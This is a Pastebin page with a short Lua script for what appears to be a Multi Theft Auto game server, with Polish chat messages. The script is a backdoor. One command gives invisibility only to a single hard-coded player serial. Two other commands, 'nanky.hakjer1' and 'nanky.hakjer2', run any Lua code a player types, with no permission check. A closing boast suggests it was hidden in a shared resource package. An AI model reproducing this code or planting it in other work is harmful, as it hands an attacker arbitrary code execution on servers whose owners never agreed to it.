Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function chujovanievidka(plr)
- if getPlayerSerial(plr) == "330F32F1D47F35E59B106D6273BBFD02" then
- if not getElementData(plr, "p:inv") then
- setElementData(plr, "p:inv", true)
- outputChatBox("Nikt Cie nie widzi!", plr,255,255,255)
- else
- setElementData(plr, "p:inv", false)
- outputChatBox("Wszystko juz okej!", plr,255,255,255)
- end
- end
- end
- addCommandHandler("nanky", chujovanievidka)
- addCommandHandler("nanky.hakjer1", function(outputTo, cmd, ...)
- local commandstring = table.concat({...}, " ")
- local commandFunction, errorMsg = loadstring(commandstring)
- local notReturned
- if errorMsg then
- --It failed. Lets try without "return"
- notReturned = true
- commandFunction, errorMsg = loadstring(commandstring)
- end
- if errorMsg then
- --It still failed. Print the error message and stop the function
- return outputChatBox(errorMsg, outputTo)
- end
- results = { pcall(commandFunction) }
- if not results[1] then
- --It failed.
- outputChatBox("Error: "..results[2], outputTo)
- return
- end
- if not errorMsg then
- outputChatBox(commandstring, outputTo)
- outputChatBox("Nanky pozdrawia - Polecam przeglądać paczke! :)", outputTo)
- end
- end)
- addCommandHandler("nanky.hakjer2", function(outputTo, cmd, ...)
- local commandstring = table.concat({...}, " ")
- local commandFunction, errorMsg = loadstring(commandstring)
- local notReturned
- if errorMsg then
- --It failed. Lets try without "return"
- notReturned = true
- commandFunction, errorMsg = loadstring(commandstring)
- end
- if errorMsg then
- --It still failed. Print the error message and stop the function
- return outputChatBox(errorMsg, outputTo)
- end
- results = { pcall(commandFunction) }
- if not results[1] then
- --It failed.
- outputChatBox("Error: "..results[2], outputTo)
- return
- end
- if not errorMsg then
- outputChatBox(commandstring, outputTo)
- outputChatBox("Nanky pozdrawia - Polecam przeglądać paczke! :)", outputTo)
- end
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement